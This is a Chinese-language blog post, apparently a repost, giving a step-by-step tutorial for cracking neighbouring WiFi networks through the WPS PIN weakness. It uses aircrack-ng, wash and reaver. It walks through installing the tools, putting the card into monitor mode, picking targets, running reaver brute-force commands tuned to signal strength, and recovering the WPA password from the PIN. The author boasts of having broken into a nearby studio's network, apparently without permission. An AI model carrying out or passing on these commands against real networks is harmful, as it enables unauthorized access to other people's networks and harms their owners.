渗透之——使用reaver傻瓜式破解wifi之利用路由器WPS漏洞

渗透之——使用reaver傻瓜式破解wifi之利用路由器WPS漏洞跟这篇破解教程一样,网上破解教程多是基于路由器的WPS漏洞破解,但是这样的路由器只占少数。一般wifi是依据WPA/WPA2加密的,因此想要破解一般的wifi,还得破解这个协议,虽然近期这个协议也被破解了,不过也是很不容易的。刚入门破解,不是很熟悉,在网上找各种破解资料,终于破解成功了临近工作室的wifi,沾沾自喜~本文破解wifi针对一些路由器的WPS(Wi-fiprotectedset…

大家好,又见面了,我是你们的朋友全栈君。

跟这篇破解教程一样,网上破解教程多是基于路由器的WPS漏洞破解,但是这样的路由器只占少数。一般wifi是依据WPA/WPA2加密的,因此想要破解一般的wifi,还得破解这个协议,虽然近期这个协议也被破解了,不过也是很不容易的。
刚入门破解,不是很熟悉,在网上找各种破解资料,终于破解成功了临近工作室的wifi,沾沾自喜~
本文破解wifi针对一些路由器的WPS(Wi-fi protected setup)漏洞,尝试很多次抓包PIN码,破解2-3天,正常来说是一定能抓到正确的PIN码的。
一个路由器对应唯一的MAC和PIN,而一旦得到MAC和PIN,通过reaver工具,路由密码等信息就可以很快得出来。
1.安装依赖包:
sudo apt-get install -y libpcap-dev
libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion
2.安装aircrack-ng:
svn co http://svn.aircrack-ng.org/trunk/ aircrack-ng
cd aircrack-ng/
make (aircrack-ng源码安装参考http://www.tuicool.com/articles/MfUjii)
sudo make install
3.安装reaver:
在https://pan.baidu.com/s/1kUdvM1D下载reaver
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install
4.如果安装成功后,会有airmon-ng,airodump-ng,reaver等命令可用(如果没有ethtool,要安装:apt-get install ethtool)
5.开始破解:(参考http://www.she.vc/article/18-108334-0.html http://www.kali.org.cn/thread-20995-1-1.html)
(1)sudo airmon-ng check kill (关闭进程,部分进程可能影响到后续的操作)

Found 4 processes that could cause trouble. 
If airodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to run 'airmon-ng check kill' 

	PID Name 
	431 avahi-daemon 
	446 dhcpcd 
	470 avahi-daemon 
	512 wpa_supplicant

(2)sudo airmon-ng
(3)sudo airmon-ng start wlan1
(4)sudo airmon-ng start wlan1mon (开启网卡,将网卡转换成混杂模式)

PHY Interface Driver Chipset 

phy0 wlan0 brcmfmac_sdio Broadcom 43430 

Missing nexutil, cannot switch to monitor mode. 
phy1 wlan1mon mt7601u Ralink Technology, Corp. 

(mac80211 monitor mode already enabled for [phy1]wlan1mon on [phy1]10)

(5)sudo airodump-ng wlan1mon (查看ap信号强度,破解的wifi信号越强越好)
(6)wash -i wlan1mon -C (查看支持wps的ap)(一种说法是:MB是54e.的可破解,54e不可破解)
6.(正式破解,在root下)使用reaver:
因状况调整参数:MAC即BSSID的值,-c后面的数字是CH的值。
目标信号非常好:
reaver -i wlan1mon -b MAC -a -S -vv -d0 -c 1
目标信号普通:
reaver -i wlan1mon -b MAC -a -S -vv -d2 -t 5 -c 1
目标信号一般:
reaver -i wlan1mon -b MAC -a -S -vv -d5 -c 1
7.每60s重新破解一次,等待三天,密码将会出来
8.最终得到PIN码(WPS PIN)和密码(WPA PSK),如果密码 被改,只要reaver加上-p命令
(reaver -i wlan1mon -b MAC -p PIN码 -vv),密码又能秒出; 但如果PIN码被改,就要重新破解了。
9.破解完成后,将网卡转回正常状态(airmon-ng stop wlan1mon)
渗透之——使用reaver傻瓜式破解wifi之利用路由器WPS漏洞

渗透之——使用reaver傻瓜式破解wifi之利用路由器WPS漏洞

备注:reaver时可以随时停止,它自己会保存进度
升级破解固件http://netsecurity.51cto.com/art/201105/264844_all.htm

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/145897.html原文链接:https://javaforall.net

(0)
上一篇 2022年5月16日 上午11:00
下一篇 2022年5月16日 上午11:00


相关推荐

  • AspNetPager常见美丽的样式

    AspNetPager常见美丽的样式1 各种风格源文件地址 http blog csdn net x123jing article details nbsp 迅雷风格 nbsp nbsp nbsp nbsp aspnetpager nbsp color 999 height 20px line height 20px font size 12px nbsp nbsp aspnetpagera aspnetpager cpb

    2026年3月18日
    2
  • mbus总线电路_CPU电路

    mbus总线电路_CPU电路发送也就是24V,36V切换,24V低电平,36V是高电平;主机接收电路可以高端放大也可以低端放大,设备端只会消耗固定的电流,mbus网络趋于稳定,负载时稳定的,当设备端发送数据时,mbus网络中电流会有所变化,通过采样电阻,电压跟随器,差分放大,采样保持电路,获取ttl电平,短路过载保护也是通过低端采样电阻控制供电开关的。…

    2022年10月15日
    3
  • Oracle数据库安装步骤:

    Oracle数据库安装步骤:Oracle 数据库是一个大型的收费数据库 因此在国内不是太常用 而 mysql 数据库是一个中型的免费数据库 在国内使用人数众多 在国外人们都比较喜欢使用 oracle 数据库 即便它是收费的 在国内的话 人们就更喜欢使用 mysql 数据库了 而且 mysql 数据库也基本上可以满足要求 至于原因 你猜 但是 即便在国内 oracle 数据库的使用人数不是很多 还是有很多人要学习一些关于 Oracle 的知识

    2026年3月26日
    1
  • Oracle数据库安装教程–Oracle19c DataBase

    Oracle数据库安装教程–Oracle19c DataBase首先,下载Oracle安装包的压缩文件访问Oracle官网(https://www.oracle.com/index.html)下的数据库下载地址:https://www.oracle.com/database/technologies/oracle-database-software-downloads.html找到OracleDatabase19c这里选择Win1064位下载……

    2022年7月13日
    23
  • pycharm注册

    pycharm注册激活成功教程 PyCharm 完成注册 1 下载最新版本的 PyCharm2018 3 2 安装完成 官网下载 安装比较简单 不在描述 2 下载 JetbrainsCra release enc jar 包 将此 jar 包放在 PyCharm 安装目录的 bin 文件中 此 jar 包地址 https pan baidu com s 1zwJQzG1hQZ8 记事本打开 PyCharm

    2026年3月27日
    1
  • 【第01题】A + B | 基础输入输出,开启学习C语言打卡的序章

    【第01题】A + B | 基础输入输出,开启学习C语言打卡的序章难度:★☆☆☆☆,开启学习C语言打卡的序章

    2022年7月24日
    10

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号